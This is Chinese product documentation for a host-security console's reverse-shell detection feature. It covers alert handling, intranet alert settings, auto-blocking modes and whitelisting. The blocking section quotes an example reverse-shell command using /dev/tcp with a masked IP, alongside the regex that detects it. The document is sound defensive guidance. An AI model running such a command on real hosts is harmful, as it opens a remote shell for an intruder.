主机安全 反弹 Shell

注意：说明：

注意：反弹 Shell 支持专业版、旗舰版主机，拦截仅旗舰版可用，版本差异请参见 功能介绍与版本比较。

一、处理告警

操作步骤

1. 登录主机安全控制台。

2. 在左侧导航栏，选择入侵检测 > 反弹 Shell。

3. 在告警列表中，查看告警记录。

·连接进程：发起反弹连接的进程。

·执行命令：发起反弹连接的命令。

·威胁等级：目标为公网 IP 时为高危，局域网 IP 时为中危。

·父进程：连接进程的父进程。

·目标主机：连接的目标主机。

·目标端口：连接的目标端口。

·检测方法：行为分析、命令特征检测。

·操作：

·详情：查看告警详情。

·处理：支持以下处理方式。

·标记已处理：参照告警详情中的修复建议，人工对该告警进行处理，处理后可将告警标记为已处理。

·加入白名单：加入白名单操作后，当再次发生相同情况时将不再进行告警，请谨慎操作。

·忽略：仅将本次告警进行忽略，若再有相同情况发生依然会进行告警。

·删除记录：删除该告警记录，控制台将不再显示，无法恢复记录，请慎重操作。

二、配置内网告警

操作步骤

1. 登录主机安全控制台。

2. 在左侧导航栏，选择入侵检测 > 反弹 Shell。

3. 单击右上角反弹 Shell 设置。

·内网告警检测：打开后检测并上报内网反弹 Shell。关闭后停止检测。

·显示内网告警：勾选后，告警列表展示内网告警。取消勾选后不展示。告警列表上方也可以直接勾选。

注意：说明：

注意：检测开关决定是否发现内网连接。显示开关只决定列表是否展示这些内网告警。

三、配置自动拦截

拦截原理

基于 bash 等外联输入行为的拦截：当检测到启动的 bash 等进程存在外联输入操作时，启动的 bash 等进程会被结束。

例如：当前 bash 执行 bash -c " bash -i >& /dev/tcp/1.1.*.*/1111 0>&1"，默认已经配置拦截规则:(?i).*\\s+-i\\s*>&?\\s*\\/dev\\/tcp\\/，当 bash -c 进程启动时会被结束。

注意：说明：

操作步骤

1. 登录主机安全控制台。

2. 在左侧导航栏，选择入侵检测 > 反弹 Shell。

3. 在告警列表中，打开反弹 Shell 自动拦截开关。

4. 在自动拦截设置弹窗中，选择防护模式，单击确定。

·标准模式：仅针对高置信度的风险进行自动防护，更适合日常安全运营使用（推荐）。

·重保模式：综合多个引擎检测结果，针对中、高置信度的风险进行自动拦截。可能存在误拦截风险，适合重保防护，请谨慎启用。

四、添加白名单

操作步骤

1. 登录主机安全控制台。

2. 在左侧导航栏，选择入侵检测 > 反弹 Shell。

3. 在白名单管理单击添加白名单。

4. 选择加白方式并填写条件，勾选对符合本规则的历史待处理告警执行加白，选择生效主机，单击保存。